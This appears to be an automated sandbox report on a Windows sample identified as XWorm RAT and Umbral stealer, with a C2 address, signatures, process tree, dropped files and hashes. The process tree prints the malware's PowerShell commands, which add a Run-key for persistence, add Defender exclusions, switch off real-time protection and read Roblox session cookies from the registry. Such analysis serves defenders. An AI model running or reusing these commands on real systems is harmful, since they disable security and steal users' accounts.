Overview

overview

10

Static

static

3

IO tootls.exe

windows7-x64

10

IO tootls.exe

windows10-1703-x64

10

IO tootls.exe

windows10-2004-x64

10

IO tootls.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    560s
  • max time network
    601s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-02-2024 05:54

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    IO tootls.exe

  • Size

    207KB

  • MD5

    5afd3e0ac701a47f48772af3c5eb54d1

  • SHA1

    ac20c5db48d258c9f00845fb3508e90d4f3187ae

  • SHA256

    6060fb48cc4a123bb9a64f8854f8c5253dc125194469f2e4b0821d4248f14c3c

  • SHA512

    24329cf850d5578c13799f093394c619ece7c0ba36a79fc57084e9c1da38d119e39bc27e5e91de12c1426bf1fe7131060ce3a20fc566d90525a99e4da914337b

  • SSDEEP

    6144:rJX6OJ0PS7eEcJWIUPjw7B5oZKH4FIlhuc4w1VVcKGwO9t:94SqE4q7coY4ShucV43

Score
10/10
umbralxwormpersistenceransomwareratspywarestealertrojan

Malware Config

Extracted

Family

xworm

C2

hai1723rat-60039.portmap.io:60039

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

    stealerumbral
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 57 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 25 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\IO tootls.exe
    "C:\Users\Admin\AppData\Local\Temp\IO tootls.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:3576
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'updatee';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'updatee' -Value '"C:\Windows\.NET\netloader.exe"' -PropertyType 'String'
      2⤵
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1100
    • C:\Users\Admin\AppData\Local\Temp\IO tootls.exe
      #cmd
      2⤵
      • Checks computer location settings
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3960
      • C:\Users\Admin\AppData\Local\Temp\systemload.exe
        "C:\Users\Admin\AppData\Local\Temp\systemload.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Sets desktop wallpaper using registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4960
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\systemload.exe'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1312
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'systemload.exe'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2824
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\How To Decrypt My Files.html
          4⤵
          • Enumerates system info in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:3616
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffec4e246f8,0x7ffec4e24708,0x7ffec4e24718
            5⤵
              PID:1616
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2188,18266271741934646686,16457862100863596599,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2196 /prefetch:2
              5⤵
                PID:4108
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2188,18266271741934646686,16457862100863596599,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 /prefetch:3
                5⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:2664
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2188,18266271741934646686,16457862100863596599,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2936 /prefetch:8
                5⤵
                  PID:1580
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,18266271741934646686,16457862100863596599,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3096 /prefetch:1
                  5⤵
                    PID:4140
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,18266271741934646686,16457862100863596599,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3116 /prefetch:1
                    5⤵
                      PID:520
                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2188,18266271741934646686,16457862100863596599,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4948 /prefetch:8
                      5⤵
                        PID:3244
                      • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2188,18266271741934646686,16457862100863596599,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4948 /prefetch:8
                        5⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:5044
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,18266271741934646686,16457862100863596599,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4932 /prefetch:1
                        5⤵
                          PID:1312
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,18266271741934646686,16457862100863596599,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4952 /prefetch:1
                          5⤵
                            PID:3796
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,18266271741934646686,16457862100863596599,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5572 /prefetch:1
                            5⤵
                              PID:3492
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2188,18266271741934646686,16457862100863596599,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5308 /prefetch:1
                              5⤵
                                PID:4580
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2188,18266271741934646686,16457862100863596599,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1048 /prefetch:2
                                5⤵
                                • Suspicious behavior: EnumeratesProcesses
                                PID:1168
                          • C:\Users\Admin\AppData\Local\Temp\controllloader.exe
                            "C:\Users\Admin\AppData\Local\Temp\controllloader.exe"
                            3⤵
                            • Drops file in Drivers directory
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:4168
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\controllloader.exe'
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4484
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4256
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2624
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                              4⤵
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:456
                            • C:\Windows\System32\Wbem\wmic.exe
                              "wmic.exe" os get Caption
                              4⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4632
                            • C:\Windows\System32\Wbem\wmic.exe
                              "wmic.exe" computersystem get totalphysicalmemory
                              4⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2264
                            • C:\Windows\System32\Wbem\wmic.exe
                              "wmic.exe" csproduct get uuid
                              4⤵
                                PID:3008
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                4⤵
                                • Suspicious behavior: EnumeratesProcesses
                                PID:1500
                              • C:\Windows\System32\Wbem\wmic.exe
                                "wmic" path win32_VideoController get name
                                4⤵
                                • Detects videocard installed
                                PID:3624
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\start.cmd" "
                              3⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3216
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\'"
                                4⤵
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4936
                        • C:\Windows\System32\CompPkgSrv.exe
                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                          1⤵
                            PID:3084
                          • C:\Windows\System32\CompPkgSrv.exe
                            C:\Windows\System32\CompPkgSrv.exe -Embedding
                            1⤵
                              PID:3012

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                              Filesize

                              2KB

                              MD5

                              d85ba6ff808d9e5444a4b369f5bc2730

                              SHA1

                              31aa9d96590fff6981b315e0b391b575e4c0804a

                              SHA256

                              84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                              SHA512

                              8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                              Download Submit

                            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\IO tootls.exe.log
                              Filesize

                              321B

                              MD5

                              baf5d1398fdb79e947b60fe51e45397f

                              SHA1

                              49e7b8389f47b93509d621b8030b75e96bb577af

                              SHA256

                              10c8c7b5fa58f8c6b69f44e92a4e2af111b59fcf4f21a07e04b19e14876ccdf8

                              SHA512

                              b2c9ef5581d5eae7c17ae260fe9f52344ed737fa851cb44d1cea58a32359d0ac5d0ca3099c970209bd30a0d4af6e504101f21b7054cf5eca91c0831cf12fb413

                              Download Submit

                            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                              Filesize

                              2KB

                              MD5

                              9faf6f9cd1992cdebfd8e34b48ea9330

                              SHA1

                              ae792d2551c6b4ad5f3fa5585c0b0d911c9f868e

                              SHA256

                              0c45700b2e83b229e25383569b85ddc0107450c43443a11633b53daf1aaed953

                              SHA512

                              05b34627f348b2973455691bcb7131e4a5236cfece653d22432746ccd14d211b9b279f0913fbd7bb150f00eb2f2c872f4f5518f3903e024699fd23c50d679e97

                              Download Submit

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                              Filesize

                              152B

                              MD5

                              3782686f747f4a85739b170a3898b645

                              SHA1

                              81ae1c4fd3d1fddb50b3773e66439367788c219c

                              SHA256

                              67ee813be3c6598a8ea02cd5bb5453fc0aa114606e3fc7ad216f205fe46dfc13

                              SHA512

                              54eb860107637a611150ff18ac57856257bf650f70dce822de234aee644423080b570632208d38e45e2f0d2bf60ca2684d3c3480f9637ea4ad81f2bcfb9f24d5

                              Download Submit

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                              Filesize

                              152B

                              MD5

                              58670ac03d80eb4bd1cec7ac5672d2e8

                              SHA1

                              276295d2f9e58fb0b8ef03bd9567227fb94e03f7

                              SHA256

                              76e1645d9c4f363b34e554822cfe0d53ff1fce5e994acdf1edeff13ae8df30f8

                              SHA512

                              99fe23263de36ec0c8b6b3b0205df264250392cc9c0dd8fa28cf954ff39f9541f722f96a84fbc0b4e42cfd042f064525a6be4b220c0180109f8b1d51bbdef8ff

                              Download Submit

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                              Filesize

                              6KB

                              MD5

                              c7ad57a3f7c970daf62456bdb8f82eeb

                              SHA1

                              766916cdb6e20a80c9e5acc2f8d64665792d3200

                              SHA256

                              6a754b2190df8a0dfb1498674d3aad6f0cdcea54420a7ace67f0082c83e2bd6b

                              SHA512

                              2910daf69d7989a851c95839116acecaf7907e53d49cc2e7edd50947f466235a985f7c95634827692b9fdf60131d0e59999ce915fd56b7e2f8e56d1346488fb8

                              Download Submit

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                              Filesize

                              6KB

                              MD5

                              2d7a199aa098f4f597119db1a3ebdd30

                              SHA1

                              6accaf50b195e44217c29ed92e52e8daedb0cd58

                              SHA256

                              8d9f7dcf04f26c9264c71abbd4b7baabf4e47faa70b949910e1ef19e007d1f00

                              SHA512

                              73020dded4dfa8c05d020e7889297cd16b5723f9dfe6a96ee1b217ce3794eb14ac6339cb4d3bce7fb0a7ca1ce8dc1dc615d3afb9db43602a47721e02c080f40b

                              Download Submit

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
                              Filesize

                              16B

                              MD5

                              6752a1d65b201c13b62ea44016eb221f

                              SHA1

                              58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                              SHA256

                              0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                              SHA512

                              9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                              Download Submit

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                              Filesize

                              12KB

                              MD5

                              23d13a9e0de809cfd7a7bc4717917091

                              SHA1

                              3349dbddbe9d49596acfdb9d2440a4dcd6320200

                              SHA256

                              d77cc597b8182c1400db5811b0e5b27c0720ae30f597c16438630198973cd67b

                              SHA512

                              127dcb56a5424226c5c4b434086a40c9f1ccb4a24d83fdd3ba917aeb63210b95aa4a8877c2201dd821e98ae0475b30b3e355dfccf30a13e4c6848ed5fd55e40a

                              Download Submit

                            • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                              Filesize

                              12KB

                              MD5

                              0b7cf8273609b579dcb12cb7faf7293d

                              SHA1

                              eb95e152539e12d1f2ba058a4f57551cfd365bd7

                              SHA256

                              6c413bc9fc02f4e5bad07cfb58add184995e1de679305fc16527004f412f5b33

                              SHA512

                              ef1deb7069b58336eef1aa1bf4f9089ae57bd89b9bc72253b3ac597cb2eb2e6a226aa1cab0550900ed9bd5f557c969ec00eb8c0e3611b3650390bcaf4b49b906

                              Download Submit

                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              Filesize

                              944B

                              MD5

                              77d622bb1a5b250869a3238b9bc1402b

                              SHA1

                              d47f4003c2554b9dfc4c16f22460b331886b191b

                              SHA256

                              f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

                              SHA512

                              d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

                              Download Submit

                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              Filesize

                              19KB

                              MD5

                              84205c8105907fb0aa5e7ccbd4db0fb3

                              SHA1

                              57513aadc43d0f79227d71b68d34a392b75df0e7

                              SHA256

                              ad97d0c6384850b863aed343a11587a2b90ddeae005538c80734277626485fb7

                              SHA512

                              cdcd81b0e089bceda61d6eee3c78e2354f40d4186f262106d25fe09edcd2bfc6763da8295d78c1c6dbc47d64b2fbca10db92a390980bd2b7d520ace780439249

                              Download Submit

                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              Filesize

                              948B

                              MD5

                              bc051b3c05d1eb94762dce48e30f69d2

                              SHA1

                              014ec7fdc6303d58ead35afc65e186f9c66de9e2

                              SHA256

                              4849d78ba5085ee3c5fef729f8a6e1c6415333d4a3926370c681946a326c999b

                              SHA512

                              3d072c51513c71cd28897702dc380e2600a4c60f1d5b4ed59f6340c1f13270043e0a5c14b7aae0fa55a6fcd628456f69248aeb152027c9f6ee15179beb99992b

                              Download Submit

                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              Filesize

                              944B

                              MD5

                              2e907f77659a6601fcc408274894da2e

                              SHA1

                              9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

                              SHA256

                              385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

                              SHA512

                              34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

                              Download Submit

                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              Filesize

                              1KB

                              MD5

                              276798eeb29a49dc6e199768bc9c2e71

                              SHA1

                              5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

                              SHA256

                              cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

                              SHA512

                              0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

                              Download Submit

                            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                              Filesize

                              1KB

                              MD5

                              12c672cee42ab5562d3ad4a86bcabde9

                              SHA1

                              327ca29ddda56486d3b0059584e8c32f8328496a

                              SHA256

                              b8b71517813f872d8774b016626ea519fea534dff89dd54d85d4217e8666391f

                              SHA512

                              48c7fe819166c71524c33d4a8ac246b87e3e46d4772559d40bbbe4e20df5acef6606a05ed87f7a2247ee779a931c64f86112ac8f1b6921d0e6243ab46938341a

                              Download Submit

                            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fczg1w4l.gb4.ps1
                              Filesize

                              60B

                              MD5

                              d17fe0a3f47be24a6453e9ef58c94641

                              SHA1

                              6ab83620379fc69f80c0242105ddffd7d98d5d9d

                              SHA256

                              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                              SHA512

                              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                              Download Submit

                            • C:\Users\Admin\AppData\Local\Temp\controllloader.exe
                              Filesize

                              286KB

                              MD5

                              e41a0fa0c1e39af92d22090d4df61a1f

                              SHA1

                              c971a4089b1ab116c34b5ab0dc54d9977f86e834

                              SHA256

                              c0966533c2bc8c8b9ee176d774eae0ca1c4d6fe6e8efe5d87d4cac8c04b84372

                              SHA512

                              d42798fa9115f3c3775798a26ef7c28e4f173bdc2b74884b01a4e7905b17a2da09508766a626652eec3622a15a891b6859f4e9a422eb052a59b3fd3eafe1a7fd

                              Download Submit

                            • C:\Users\Admin\AppData\Local\Temp\start.cmd
                              Filesize

                              93B

                              MD5

                              f960abd9684a879e8eca03b8c864ea96

                              SHA1

                              fb4b9a9b40af84ae46b70bb40ac3e1f45e4b4ad3

                              SHA256

                              7389178da21f4e2d4ef73ab199b7beeb97247a6c1afec3f3c48a7f561cbfaf90

                              SHA512

                              2c6267ab25c364c5b13059ed593bb47dfae586ae7b1411634efa3f45aaf07b4d8f491fe93bfd34482a1250c955f1e8c27e1afa0460672a5e9584ebe007ab2054

                              Download Submit

                            • C:\Users\Admin\AppData\Local\Temp\systemload.exe
                              Filesize

                              130KB

                              MD5

                              352a162df9ca5605e1a1910c7a24cb7c

                              SHA1

                              4b4ed1c740a03c15eb47d875b65c76941debcaf7

                              SHA256

                              87e9d9a7a197a0cd483f8e73f307af53a7518cabc001257c8235743181b9a7b8

                              SHA512

                              0c2bae3f66748cc3448eaf60c5079ae3afba6d585e19e54857f7c152a1bd69c3b8e3df7feb413f3eb2df0f2bc01b44be5bcdefd5427af154a221f2b808a2399d

                              Download Submit

                            • C:\Users\Admin\Desktop\How To Decrypt My Files.html
                              Filesize

                              639B

                              MD5

                              d2dbbc3383add4cbd9ba8e1e35872552

                              SHA1

                              020abbc821b2fe22c4b2a89d413d382e48770b6f

                              SHA256

                              5ca82cbc4d582a4a425ae328ad12fd198095e2854f4f87b27a4b09e91173a3be

                              SHA512

                              bb5e1bbf28c10c077644136b98d8d02bfec3b3e49c0829b4d4570b30e0aea0276eb748f749a491587a5e70141a7653be1d03c463a22e44efecde2e5a6c6e5e66

                              Download Submit

                            • C:\Users\Admin\NTUSER.DAT{53b39e88-18c4-11ea-a811-000d3aa4692b}.TMContainer00000000000000000001.regtrans-ms.ENC
                              Filesize

                              16B

                              MD5

                              fb1646b70424113430ff9ff953c80e84

                              SHA1

                              669d06ffe2005fc9ef2fb4591921ca549990792b

                              SHA256

                              6a92c689d60e5eb088fe056a196304d5f3d217e3b2de72494a3c4023591b9667

                              SHA512

                              1b5118ce604ac21bb09954599b98e71b1e84bbc932d38c1477eb7c620d9e1e47df59a8bc957f8aeb38611f5e4e667f27b56cb0a9599f31f922ec68b211e05d6b

                              Download Submit

                            • C:\Windows\system32\drivers\etc\hosts
                              Filesize

                              2KB

                              MD5

                              4028457913f9d08b06137643fe3e01bc

                              SHA1

                              a5cb3f12beaea8194a2d3d83a62bdb8d558f5f14

                              SHA256

                              289d433902418aaf62e7b96b215ece04fcbcef2457daf90f46837a4d5090da58

                              SHA512

                              c8e1eef90618341bbde885fd126ece2b1911ca99d20d82f62985869ba457553b4c2bf1e841fd06dacbf27275b3b0940e5a794e1b1db0fd56440a96592362c28b

                              Download Submit

                            • memory/1100-83-0x0000000007520000-0x000000000753A000-memory.dmp

                              Filesize

                              104KB

                              Download

                            • memory/1100-124-0x0000000002B10000-0x0000000002B20000-memory.dmp

                              Filesize

                              64KB

                              Download

                            • memory/1100-33-0x0000000002B10000-0x0000000002B20000-memory.dmp

                              Filesize

                              64KB

                              Download

                            • memory/1100-65-0x0000000070C80000-0x0000000070CCC000-memory.dmp

                              Filesize

                              304KB

                              Download

                            • memory/1100-5-0x00000000028B0000-0x00000000028E6000-memory.dmp

                              Filesize

                              216KB

                              Download

                            • memory/1100-76-0x00000000067B0000-0x00000000067CE000-memory.dmp

                              Filesize

                              120KB

                              Download

                            • memory/1100-78-0x00000000073F0000-0x0000000007493000-memory.dmp

                              Filesize

                              652KB

                              Download

